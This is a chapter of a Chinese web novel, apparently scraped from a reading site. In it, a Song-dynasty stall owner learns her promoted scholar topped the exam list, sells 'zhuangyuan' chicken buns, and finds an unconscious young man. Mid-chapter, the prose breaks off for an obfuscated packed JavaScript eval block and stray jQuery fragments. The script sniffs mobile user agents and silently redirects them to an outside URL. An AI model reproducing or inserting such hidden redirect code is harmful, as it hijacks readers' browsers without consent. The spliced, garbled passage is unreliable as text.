123读书网 > 都市小说 > 大宋摆摊发家指南 > 31. 鹅梨小米粥
    放榜那日,天还未大亮,东里子巷深处的小院早早便有了动静。


    贺鸣玉是被院里规律而利落的劈柴声唤醒的,她揉着眼睛坐起身,身侧的铺位已空,被褥上只余浅浅压痕,贺花显然早已起身。


    披衣下炕,推开门,春日清晨特有的清新空气涌了进来,她舒展了一下睡得有些僵硬的腰背,长长地打了个哈欠,四月中旬汴京的春意渐浓,院角那棵山楂树也抽出些许嫩绿的新叶。


    灶屋方向飘来熟悉的烘烤香气,还夹杂着英子难掩兴奋的叽喳声,贺鸣玉循声走去,只见吴春兰和英子正围着面包窖旁忙碌,新一批鸡腿包刚出炉,金黄油亮,印着“状元”、“高中”字样的脆壳在渐亮的晨光下泛着诱人的光泽。


    “娘,英子,你们怎么起这么早?”她有些意外,平日这时辰灶火才刚升起。


    话音刚落,院门“吱呀”一声被人推开,只见石头提着两大桶清水走了进来,额上带着层薄汗。他一见贺鸣玉,眼睛蓦地一亮,急急地将水倒进灶屋外的大水缸里,声音也比平日急促了几分:


    “阿姐,你醒了!我们什么时候去贡院摆摊?刚才我去井边打水,听见巷口的王奶奶跟人念叨,说金榜天不亮就贴出来了,贡院外头现在已是人挤人,热闹得跟赶集似的!”


    因着前两日在贡院外卖状元鸡腿包大受欢迎,加之贺鸣玉那番“孟公子必中”的说辞悄悄传开,生意之红火远超全家预料。连一向沉稳少言的石头,此刻都按捺不住心头的急切,言语间满是催促,生怕去晚了错过这千载难逢的大好时机。


    贺鸣玉却显得并不着急,她转身走进灶屋,从还温着的锅里盛了一碗鹅梨小米粥,不紧不慢地坐到了院中的石凳上。


    一入四月,汴京城仿佛被骤然苏醒的生机包裹,花果蔬菜的清新气息无处不在,北宋不比后世,水果种类算不得繁多,梨子算是其中的佼佼者了。


    市集上有洛阳来的雪梨,名气大,价钱也矜贵;有山楂大小、皮色蓝黑宛如放大版蓝莓的甘棠梨,清香别致;但最多的,还是河北产的鹅梨,皮薄得近乎透明,汁水丰盈,散发出浓郁而纯粹的果香。


    前几日贺鸣玉买了一些放在堂屋桌上,不过一日光景,满屋都氤氲着那股清雅的甜香,难怪会有文人雅士用鹅梨来合香。


    虽已回暖,但清晨直接吃水果仍有些许凉意,她便教吴春兰做了这鹅梨小米粥。小米熬得软烂起油、米香醇厚,切成小块的鹅梨肉在粥将熟时放入,略滚几下即可,既保留了梨子的清香脆甜,又被米粥的温热中和了寒性,晨起喝上这么一碗,暖胃润燥舒服至极。


    贺鸣玉小口喝着粥,心里盘算着,等今年入了冬,定要腌上两缸爽口的酱菜,到来年春天,配着这清粥,便是极好的早饭了。


    “阿姐!”石头见她慢条斯理,忍不住又催问,“我们到底什么时候出发?去晚了,好位置只怕要被旁人占了!”


    “不急。”贺鸣玉放下碗,走回自己屋里。片刻后,她拿着一张纸走了出来,上头特意请街上写字的老秀才写了两个字,她那手毛笔字,实在不敢恭维。


    她走到正在归置柴火的贺花面前,将纸递过去:“姐,今日有件要紧事,需得劳烦你跑一趟。”


    贺花这两日在家,虽拼命干活,心里却总悬着块巨石,觉着自己是个吃白食的累赘,此刻听贺鸣玉有事吩咐,眼睛立刻亮了起来,连忙在围裳上擦了擦手,双手接过:“阿玉,你说,要我做什么?,我一定办好!”


    “你拿着这个,去贡院外贴金榜的地方,仔细瞧瞧,那榜上……有没有这两个字。”贺鸣玉指着纸上的字,怕她不识字,特意叮嘱,“你就照着这纸上的模样,一个一个比对,看清楚些。”


    贺花虽不明白贺鸣玉为何要让自己去看与自己毫不相干的榜,更不懂这两个字是何意思,但能帮上忙,她已是满心欢喜,连忙点头:“哎!我记下了,我这就去!”


    “等等。”贺鸣玉忙补充,“若是这两个字没有,只有上头这个字就成。”


    “成!”说罢,贺花将纸张小心折好揣进怀里,转身便小跑着出了院门。


    吴春兰和石头皆愣住了,吴春兰不解地望了过来,疑惑地问:“玉娘,你这是……?”


    贺鸣玉看着二人眼中的困惑,解释道:“娘,今日摊摆不摆,如何摆,全看这榜上有没有姓孟的进士。若是金榜之上,根本没有姓孟的考中,那我们今日还大张旗鼓地去贡院外摆这状元鸡腿包,岂不是自打嘴巴,让人看了笑话?先让大姐去探个虚实,咱们心里有底才好应对。”


    前几日她吹了那么大的牛,现下若不先掌握信息便盲目冲上去,那就是争着去当炮灰了。


    石头闻言,眼睛猛地一亮,脸上豁然开朗,这才彻底明白阿姐这几日为何始终一副气定神闲、胸有成竹的模样,原来她早有后手!


    随即,他又想到什么,懊恼地一拍脑袋:“啊呀!早知如此,我就不该一早催着娘和英子起来烤这么多鸡腿包!万一……万一没有,岂不是白费了这许多功夫和柴火……”


    贺鸣玉见他这模样,忍不住笑了起来,拍了拍他的肩膀宽慰道:“这有何妨?鸡腿包烤好了香气扑鼻,还能糟蹋了不成?汴京城这么大,贡院外头去不了,旁的地方就不能支摊了?再不济,咱们自己吃,或是送给张叔王婶她们也是好的。”


    话虽说得轻松,但她望向院门的目光,也隐隐透出一丝不易察觉的期待与紧张,毕竟,这场营销是否能圆满收场,就看这一探了。


    等了大约一柱香的功夫,向来沉稳的石头先坐不住了,满脸焦急:“大姐怎地还没回来,怕不是不认得路耽误了罢。”他转头看向端坐着的贺鸣玉,“阿姐,方才合该让我去的,我晓得地方,又跑得快,这会儿也该回来了啊……”


    “你我这两日卖这状元鸡腿包已够惹眼了,若是被熟客瞧出来,那便是搬起石头砸自己的脚。”贺鸣玉倒不焦急,“你且安心等着。”


    约莫过了一刻多钟,院门外终于传来急促凌乱的脚步声,贺花几乎是冲进来的,跑得满脸通红,额发被汗水黏在颊边,扶着门框大口地喘着气,胸脯剧烈起伏,显然是一路狂奔回来的。


    “怎么样?”石头第一个冲过去,急切地问,“榜上可有那两个字?”


    贺花用力点头,喘得连话都说不连贯,努力挤出声音:“有……有!而且……是、是头一个!最顶上那个!”


    方才还颇为镇定的贺鸣玉,闻言“蹭”地一下从木凳上站了起来,手中的空碗险些没拿稳:“什么?头一个?!”她心里紧绷着的那根弦猛地一震,若是真的,那便远远超过了她最乐观的预期。


    贺花总算顺过气来,脸上带着一种目睹了了不得大事的兴奋与难以置信,比手画脚地说:“我、我怕自己看错了,还……还壮着胆子,请旁边一位看着像是读书人的公子帮我看了一眼,他、他指着金榜跟我说,这人是……是什么元……”


    贺鸣玉的心跳陡然漏了一拍,随即狂跳起来,声音都有些发紧,几乎是脱口而出:“状元?!”


    “对对对!”贺花猛点头,语气里难掩兴奋,“就是你说的这个状元!那公子还说,这可是了不得的第一名!好些人围着那金榜又哭又笑,还有抢人的呐”


    贺鸣玉只觉得一股混杂着狂喜和荒诞的热气猛地冲上头顶,耳边嗡嗡作响,她万万没想到,自己前两日为了生意随口吹的牛竟一语成谶!不仅真有姓孟的考中,还是这字的主人孟行!而且中的是头名!


    这……这运气,未免也太好了些罢,难不成穿越还解锁了什么新技能?她脑中飞快闪过那个在亭中认真温书之人,这巧合未免太过惊人,让她一时有些恍惚。


    然后此刻已容不得她细究其中玄妙,她深吸一口气,压下心头的惊涛骇浪,立刻恢复了平时的果决与干练,语速飞快地指挥起来:


    “石头,大姐!快,把烤好的鸡腿包都装进竹筐,用棉布盖严实了!英子,跟我去换身利落衣裳,我们马上出发!娘,你们三个留在家里,继续烤,万不能断货!石头,你记着,半个时辰后,就像浴佛节那日一样,把新烤好的鸡腿包送到贡院外我们摆摊的地方!”


    一阵旋风般的忙碌后,贺鸣玉和英子推着满当当的小推车,快步出了门,朝着贡院方向疾步赶去。晨风拂面,带来市井渐渐苏醒的喧嚣,她的心依旧在胸腔里狂跳,但步伐愈发稳健,果然,机会总会留给有准备(和敢忽悠)的人。


    等她们赶到贡院外的长街时,金榜张贴处早已是里三层外三层,被围得水泄不通。喧嚷声、欢呼声、扼腕叹息声、喜极而泣声交织成一片沸反盈天的声浪,人生百态、悲喜交集在此刻展现得淋漓尽致。


    有看到自己名字后手舞足蹈甚至癫狂晕厥的;有名落孙山后面如死灰且捶胸顿足的;更有许多纯粹看热闹、指点议论、艳羡嗟叹的闲人和各家仆从。


    贺鸣玉无暇多看,和英子寻到前两日摆摊的老位置,手脚麻利地支开摊子。她站定,清了清嗓子,用比往日更清亮的嗓音,朝着人群高声吆喝起来:


    “卖状元鸡腿包喽——!货真价实的状元鸡腿包!状元墨宝加持,金榜题名、文昌庇佑,吃了沾喜气,来年跃龙门!”


    这一声吆喝,在鼎沸人声中依然清晰可辨,立刻便有熟客循声望来。


    一个前两日买过鸡腿包的年轻秀才挤出人群,快步冲到摊前,一改先前的将信将疑,脸上带着抑制不住的兴奋与某种激动:“小娘子!你可算来了!我今日一早就瞧见金榜了,果真!果真有位孟公子,而且高居榜首!我特意在此处等你呐!快!快给我装两个!”


    贺鸣玉心中大定,笑容愈发灿烂,一边利落地夹起一个状元包用油纸包好,一边朗声应道:“如何?公子,我那日可曾骗你?金榜之上,朱笔御批,孟公子高中状元!想来吃了这有他亲笔墨宝加持的状元鸡腿包,下回春闱,独占鳌头的可就是您了!”


    那秀才本就处在一种与有荣焉的亢奋中,闻言更是激动难抑:“正是!正是此理!不瞒小娘子,那日吃了你这状元鸡腿包,我回去温书,只觉文思泉涌,下笔如有神助!昨日在书院作的一篇策论,连素来严苛的夫子都连声称赞呐!”


    贺鸣玉反倒一愣,这一刻她都有些怀疑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983325|191477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这人是不是谁请来的托儿了……她低头看看,鸡腿包外脆里嫰不假,香气诱人不假,但这不就是普通的鸡腿包印了两个字嘛,哪里会这么神奇,难不成是古代版的吸引力法则??


    秀才数了钱正要递过来,贺鸣玉却含笑提醒:“公子,可还记得我那日说的话?若是孟公子果然高中,这状元鸡腿包的价钱……”


    他略一思索,脸上毫无被坐地起价的不悦,反而更加开心,仿佛这涨价恰恰证明了他当日的眼光:“记得记得!自然记得!这价钱合该配得上状元之名才是,小娘子,今日这鸡腿包多少钱一个?你只管说!”


    “三十五文一个。”贺鸣玉笑吟吟报价,心道这价钱还算公道吧,毕竟是实打实的状元限定版。


    “值!太值了!”秀才毫不犹豫地数出七十文,爽快付清,十分虔诚地接过用油纸包好的鸡腿包,嘴里念念有词,“愿文曲星保佑我来年高中!”


    他这话声音不小,又颇为情真意切,立刻吸引了周围不少人的注意,尤其是那些尚未考中、或家中子弟正在苦读的,闻言眼睛都亮了起来。不管是否真有效用,“讨个吉利彩头”、“沾沾文曲星喜气”的心理,在此刻被点燃至巅峰。


    “快!给我来个状元包!我要这个最大的!”


    “我要两个!一个状元,一个高中!让我家小子也沾沾才气!”


    “快快,给我也包上三个!”


    人群顿时围拢过来。贺鸣玉和英子忙得不可开交,眼瞧着竹筐渐渐见底,周围人更是纷纷解囊,生怕落于人后。幸好石头按约时送来了两筐新货,几乎是刚摆上就被抢购一空,之后他又来回跑了好几趟,汗流浃背却劲头十足,这一整日,小摊前的热闹几乎未曾停歇。


    与前两日只卖早晚两个高峰不同,贺鸣玉深知“机不可失,时不再来”的道理,今日直在贡院外守了整整一天,直到日头西沉,暮色四合,街上行人渐稀,她才拖着疲惫不堪却异常满足的身子,和兴奋得小脸发红的英子,收拾东西回家。


    “阿姐,我感觉今天比浴佛节那天生意还好!”英子跟在她身旁,抬起头来眼睛亮晶晶的,“而且鸡腿包用油纸一包就能卖,不像小面包和饼干还要称分量快多了!今日我收钱都收不过来呐”


    贺鸣玉一手推车,一手揉了揉酸胀难忍的腰,笑着点头:“是啊,今日……确是托了那位孟状元的福。”她心中充满了复杂难言的情绪,有利用其名头赚的盆满钵满的些许歉意,有对其一举成名天下知的感慨,更有一种命运弄人的恍惚。


    两人一边低声说着话,一边拐进了熟悉的东里子巷,巷子里头比外面主街昏暗许多,仅有几户人家窗中透出豆大微弱的昏黄灯光,勉强勾勒出石板路的轮廓。


    快走到自家院门时,贺鸣玉眼尖,借着最后一抹天光,忽然瞥见前方不远处的墙角阴影里,似乎蜷缩着一个人影,一动不动,好似已融入渐浓的夜色。


    她心里咯噔一下,下意识地拉紧了英子的手,脚步也轻下来。多一事不如少一事,这年头,汴京城里倒卧路边的流民乞丐虽不多见,但也不是没有,深夜独行的女子更需谨慎。


    她正打算目不斜视、加快步子径直走过,却听见身旁的英子疑惑地“咦”了一声,停下了脚步,小手用力地扯了扯她的衣袖。


    英子踮起脚,努力朝那团阴影里张望,不太确定地小声说:“阿姐……这个人……看着有点眼熟。”


    贺鸣玉心头一跳,顺着她的目光望去,晦暗天色下,只能瞥见一道倒地人影,隐隐约约能瞧出似乎是个年轻公子,她快速在脑中过了一遍相识的面孔,握紧英子的手:“天都暗透了,能看清什么,快回家了。”


    英子仍不停地回头,边走边迟疑道:“阿姐,好像……好像是咱们搬家那日,在城外遇上过的……那个好心的哥哥?”


    “嗯?”她脚步一顿,狐疑地回过头,仔细打量着那团黑影,“你确定?看真切了么?”


    小丫头点点头。


    这下子贺鸣玉心里那点闲事莫管的念头,顿时被可能欠着人情撞得摇摆起来,她咬咬唇,终是叹了口气:“你站这儿别动,我去看看。”她壮着胆子折返回去,又凑近几步,借着微弱的月色俯身细看。


    还真是那人,小孩子眼神这么好的吗。


    “公子,这位公子?”贺鸣玉伸手推了推他的肩头,又唤了几声,男子毫无反应,只余沉沉呼吸。


    她微蹙起眉,就着微弱月色从上到下、仔仔细细又看了一遍,外袍沾了些尘土且并无破损,手上脸上也并无明显伤痕,地上更是干干净净,一点血迹都没有。


    “奇怪……难不成是饿晕了?”贺鸣玉暗自嘀咕,算是恩人,也不好见死不救,但方才回来时外头主街的医馆就闭了门,她思来想去,只好先把他背到家里。


    谁知这人瞧着清瘦,身量却高,入手更是沉甸甸的,她使尽全身力气,也只将他上半身勉强拉起,几乎是连拖带拽才勉强挪动他。


    贺鸣玉险些闪了腰,忍不住喘着粗气吐槽:“你这人,看着瘦,怎么……怎么这么沉……难,难不成……是吃秤砣长大的吗!?”